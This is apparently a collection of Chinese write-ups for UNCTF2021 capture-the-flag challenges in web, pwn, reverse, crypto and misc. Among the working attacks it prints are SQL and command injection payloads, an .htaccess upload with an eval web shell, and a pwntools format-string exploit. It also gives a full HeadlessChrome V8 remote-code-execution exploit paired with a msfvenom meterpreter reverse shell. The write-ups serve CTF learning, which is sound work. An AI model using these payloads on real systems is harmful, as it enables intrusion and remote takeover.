审计源码,需传入user、pass,user需要=“unctf”,pass的md5前5位需要=“66666”。
user使用preg_replace,替换unctf为空,但仅替换一次,可使用ununctfctf双写绕过。
$a=preg_replace("/unctf/i","",$user);
md5使用脚本爆破
import hashlib
md5 = "66666"
for asc1 in range(48,123):
for asc2 in range(48,123):
for asc3 in range(48,123):
for asc4 in range(48,123):
for asc5 in range(48,123):
asc = chr(asc1)+chr(asc2)+chr(asc3)+chr(asc4)+chr(asc5)
proof = asc
digest = hashlib.md5(proof.encode('utf-8')).hexdigest()
if digest[0:5] == md5:
zhi ='-------------------------------------\n'+proof+'\n'+digest+'\n'
f = open("zhi.txt",'w')
f.write(zhi)
f.close()
print (proof+'\n'+digest+'\n')
payload:
?user=ununctfctf
pass=010LH
得到flag
F12查看,有提示源码在www.zip,访问下载得到。
在db.sql查看到账号密码为admin,AdminSecret,但提交提示“Admin only allow to login at localhost”。
审计源码发现使用了
if (strtolower($_GET['username']) == 'admin' && $_SERVER["REMOTE_ADDR"] != '127.0.0.1') {
die('Admin only allow to login at localhost');
}
尝试发现$_SERVER[“REMOTE_ADDR”]无法绕过
关键源码如下:
function waf1($inject) {
preg_match("/'|union|select|&|\||and|or|\(|,/i",$inject) && die('return preg_match("/\'|union|select|&|\\||and|or|(|,/i",$inject);');
}
waf1($username) || waf1($password);
$sql = "select * from `users` where username = '$username' and password = '$password';";
$result = $conn->query($sql);
CREATE DATABASE IF NOT EXISTS supersqli;
USE supersqli;
CREATE TABLE IF NOT EXISTS `users` (
`id` int(10) NOT NULL,
`username` varchar(20) NOT NULL,
`password` varchar(20) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `users` values(1,'test', 'test'),(2,'admin','AdminSecret');
尝试SQL注入,代码过滤了很多关键词,但仔细看没有过滤掉
payload:
?username=\&password= < 1 limit 1 offset 1;--+
拼接后实际的SQL语句为
select * from `users` where username = '\' and password = ' < 1 limit 1 offset 1;
向$username传入的\将 and password = 前的’转义失效,使 and password = 成为了字符串
username = ‘\’ and password = ’ < 1在SQL中的运算结果是永真,再加上limit 1 offset 1限定到位于第2条的admin记录
得到flag
除此之外,还可使用’\’ and password =’^0,在SQL中’\’ and password =’^0的运算结果为数字0
而SQL中字符串与数字比较时会先将字符串转化为数字,但admin这种字符串中没有数字,转化结果为数字0
于是’admin’ = ‘’ and password =’^0会转化为0=0,条件成立。
审计源码,需要传入host、user、pwd、port
if(is_numeric($db_host)){
echo("fakeflag is /flag"."
");
if(preg_match("/;|\||&/is",$db_user) || preg_match("/;|\||&/is",$db_pwd) || preg_match("/;|\||&/is",$db_port)){
die("嘉然今天吃什么");
}
system("mysql -h $db_host -u $db_user -p $db_pwd -P $db_port --enable-local-infile");
}
else{
echo("Maybe you can do someting else"."
");
if(!isset($db_user) || !isset($db_pwd)){
eval("echo new Exception(\"\");");
}
else{
$db_user = str_ireplace("SplFileObject", "UNCTF2021", $db_user);
eval("echo new $db_user($db_pwd);");
}
}
尝试传入默认参数,host需转为数字型,127.0.0.1为2130706433
使用%0a换行,执行命令
根据提示尝试cat /flag发现无法返回结果,使用ls /发现flag的文件名为fllllaaaaag
payload:
host=2130706433&user=root&pwd=root&port=3306%0als /%0a
host=2130706433&user=root&pwd=root&port=3306%0acat /fllllaaaaag%0a
得到flag
审计源码,需传入filename、content写shell
if (preg_match_all("/ph|\.\.|\//i", $filename) || strlen($filename) > 10) {
die("No way!");
}
if (preg_match_all("/<\?|ph/", $content)) {
die("No way!");
}
使用preg_match_all过滤了ph,尝试使用数组绕过
文件内容可以正常写入,但文件名变成了“Array”
尝试写入.htaccess文件重写文件解析规则,使其它格式也可被当作php解析
payload:
?filename=.htaccess&content[]=AddType application/x-httpd-php .png
写入成功,此时png文件也能够被解析
payload:
?filename=1.png&content[]= @eval($_POST[a]);
使用蚁剑连接getshell
在根目录得到flag
登录使用Burp Suite拦截,发现数据是加密的,无法直接暴破
F12查看到encrypto.js,发现使用了jsjiami.com对js进行加密混淆
进入该网站,对一个简单的js进行加密,发现结果的前两段都是多个循环的垃圾代码,关键内容在后面
尝试直接下断点调试,得到加密方法为RSA及公钥
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6US5bbJ7JrsKYeSa8goPJQBgU WXdNyUxtPfcwuCrsYEcWNdnk1fpIdSfUvrku39fYl+h1ciyanp5H79uSzuqsUrPE Hzb2y+GTqdmNzZ53JPcxrFlYMv3NX0EOk3qMzgcSV/qXcAc+fWxLSTV5OVeWV8Lr KJVXPMuQVgrw/SxkBQIDAQAB
-----END PUBLIC KEY-----
t {default_key_size: 1024, default_public_exponent: “010001”, log: false, key: null}
会拼接为用户名|-|密码
使用bp爆破,使用BurpCrypto扩展,由于参数是默认的,无需进行特殊设置。
设置有效负载位置为data,根据提示用户名为admin,密码为纯数字,设置Intruder的Payloads
设置有效载荷集为数值,由于不知道具体位数,保险起见数字范围从1位数开始,设置有效负载处理,添加前缀admin|-|,调用Burp扩展
开始攻击,稍等片刻,在长度最短的响应中得到flag,同时也得到密码为5162
功能是获取网页的截图,根据提示“注意User-Agent”,猜测里面也是个浏览器
使用自己的服务器,加入获取User-Agent的代码
<script>document.write(navigator.userAgent)script>
让照相机访问该网页,成功获取
注意浏览器版本为HeadlessChrome/89.0.4389.114,系统为Linux x86_64
搜索得知该版本及以下存在远程代码执行漏洞,使用现成的exp:
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [在此填入msfvenom生成的内容];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>
使用时只需使用msfvenom根据实际情况生成shellcode即可。
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=IP地址 lport=端口 -f csharp
使用msfconsole开启监听模块multi/handler
use exploit/multi/handler,set payload linux/x64/meterpreter/reverse_tcp,设置相关参数
让照相机访问含有恶意代码的网页,稍等片刻,成功反连shell
查看文件,获得flag
nc连接,发现有提示“format string”
IDA打开,发现后门函数,可直接执行cat flag
查看main,在leak()中存在可利用的漏洞
使用checksec查看文件安全信息
发现文件开启了Canary保护
可利用格式化字符串漏洞找出Canary距离字符数组s的偏移量为6
aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
根据IDA上的信息得到s和Canary相差0x58,每8个字节为一个参数,则可计算出0x58÷8=11,11+6=17,所以最终的偏移量为17,可使用%17$p打印出Canary的地址
查看backdoor()的地址
使用pwntools
exp:
from pwn import *
io = remote('node2.hackingfor.fun', 39467)
context.log_level = "debug"
flag_addr = 0x40080D
io.sendlineafter('tell me,will you?\n', '%17$p')
io.recvuntil("0x")
canary = int(io.recv(16), 16)
payload = "A" * (0x58)+ p64(canary).decode('unicode_escape') +8*'A'+ p64(flag_addr).decode('unicode_escape')
io.sendline(payload)
print(io.recv())
print(io.recv())
得到flag
IDA打开查看main,进入login()
printf("------Enter your name:");
scanf("%s", Str);
printf("------Enter your password:");
scanf("%s", v19);
v1 = strlen(Str);
v2 = 0;
if ( v1 <= 0 )
{
LABEL_12:
v4 = MessageBoxA(0, "Login Successfully!", "UNCTF2021", 0x24u);
if ( v4 == 1 || v4 == 6 )
{
v5 = 0;
qmemcpy(v17, "pqsd`fl{zmpZsag}wdYVkUNC", 24);
v6 = 0;
do
{
v7 = &v17[v5];
for ( i = 2; i >= 0; --i )
{
v9 = *v7;
v7 += 8;
Text[v6++] = v9 ^ 0x16;
}
++v5;
}
while ( v5 <= 4 );
Text[v6] = 0;
MessageBoxA(0, Text, "UNCTF2021", 0x40u);
}
}
else
{
v3 = 0;
while ( v19[v2] == v3 + Str[v2] )
{
++v2;
v3 += 2;
if ( v2 >= v1 )
goto LABEL_12;
}
MessageBoxA(0, "Longin Failed!", "UNCTF2021", 0x40u);
}
发现name<=0即算登录成功,但此处必须要输入字符。
另外在else中判断了v19[v2] == v3 + Str[v2],只要满足其中的条件,就仍然会跳至登录成功。最简单的情况是name只输入1位,password的第1位和name相同。
获得flag
IDA打开查看main,发现很多垃圾代码
注意到
只需输入的内容+2,XOR下标=WQGULxb>2:ooh95=’'twk即算成功
所以反推,XOR后-2,得出flag
手工还原Python字节码,结果如下:
flag='XXXXXX'
num=[0]*18
k=0
for i in range(len(flag)):
num[i]=(ord(flag[i])+i)^(k%3+1)
num[len(flag)-i-1]=(ord(flag[len(flag)-i-1])+(len(flag)-i-1))^(k%3+1)
k+=1
print (num)
exp:
num=[115, 120, 96, 84, 116, 103, 105, 56, 102, 59, 127, 105, 115, 128, 95, 124, 139, 49]
k=17
for i in range(0,9):
print(chr((num[i]^(k%3+1))-i),end='')
k-=1
k=9
for i in range(9,18):
print(chr((num[i]^(k%3+1))-i),end='')
k+=1
得出flag
进行加密验证通过。
题目提示RC4,需要脑洞
IDA打开查看main
密钥为当前的年份,即2021
进入process_a()
尝试发现,codemaker使用RC4加密后即是flag
已知p、q、e、c
exp:
import gmpy2
import libnum
p = 12525187149887628510447403881107442078833803097302579419605689530714690308437476207855511625840027119860834633695330551080761572835309850579517639206740101
q = 9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471
e = 65537
c = 28587419802025513525354713621431206010395084854419372005671024739235625817936539010481222419824634956610184430308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472434842753891213128487132962453421971000901646523331476667655739056951415917218673801225
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
m = hex(gmpy2.powmod(c, d, n))[2:]
print (m)
得出flag
根据题目“年轻的大帝率领着64位皇珈骑士冲破了双重阻栏夺下了城池。”
猜测由凯撒密码、base64、栅栏密码加密而成
解密得出flag
猜测是键盘键值,查阅键值表得出,注意20表示Caps Lock,2D为-
得出flag
已知n、c、e,需要分解n,但在线网站查不到,位数过多,使用yafu也难以分解。
注意到
c=pow(m*p+n,e,n)
也就是说用来加密的明文中包含了n,c和n是有共同之处的。
RsaCtfTool中有一个攻击方法符合这种情况(attacks/single_key/comfact_cn.py)
修改该文件,加入print输出p、q。
python3 RsaCtfTool.py -n 27023180567533176673625876001733765250439008888496677405372613659387969480500400831799338479404533734632060401129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467778426312967832431595178558711258027999897974942046398583397445299861338203860420721585460676138091828032223153425728023656897880166788811969523526091221520293020106530587453637600349533427641518473788620430866128331962450325767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431397426705701275774039588035776573373417654649168810548916141 -e 65537 --uncipher 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059 --attack comfact_cn
成功得到p、q
exp:
import gmpy2
import libnum
p = 172354431397569365235099940061240370179571511681575675321648499739796116446233541721882395678777138404141799953624775291783630349941566122051450935783281459577495640398952136794893153461151324906425925227626564076511398407033394090665671220128353422755276355843263880135558428330412452780330015120344362264389
q = 156788429217690959122136432372486283891491745151976911418112237000098044411796015284913623304364677330939833972649008923415795522006238934649483215731958831188569337023043212323328549779698423589515561047696999930106025632087793044346255664351188784333635105774664450468975420458744197916840094961189742909769
e = 65537
c = 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = gmpy2.powmod(c, d, n)
m = hex(h//q)[2:]
print (m)
如果无法得出正确结果,可尝试调换p、q。
解出flag
经试验5.#4&;Sw)2Ti%Sj1eUU9kTwiSj)1S"a8S0)6x-8(x7=为ROT47,位移量为64,使用工具解出flag
题目上就有base64
STAKcDAKMFMnY2F0IC9DVEY/WW91U2hvdUppdVhpbmcnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu
解出/CTF?YouShouJiuXing即是flag
qi]m^roVibdVbXUU`h
经试验第1位ASCII码加4,第2位加5,依此类推,即是flag
使用010Editor打开,看不出什么,找到原图,发现题目比原图短了一截
修改高度
得出flag
猜测是16进制,粘贴到010中,发现尾部存在倒着的jpg文件头
需将每个倒转
with open("key.txt",'r') as f:
a=f.read()
c=''
for i in range(len(a)-1,-1,-2):
c+=a[i:i+2]
with open("key1.txt",'wb') as f:
f.write(c.encode())
再粘贴至010,修复文件头为FF D8 FF,得到图片
发现base64
解密得到佛曰密码
发现无法解密,原因是“曰”成了“日”,修改正确,解出flag
不破不立.zip需要密码,从10.png入手
010打开发现多个CRC错误
尝试对错误的CRC进行16进制转字符,即是压缩包密码
解压得到b站网址https://www.bilibili.com/bangumi/play/ep431768?from=search&seid=2681339926644936228&spm_id_from=333.337.0.0和有时间的图片,查看这一时间的评论,得到flag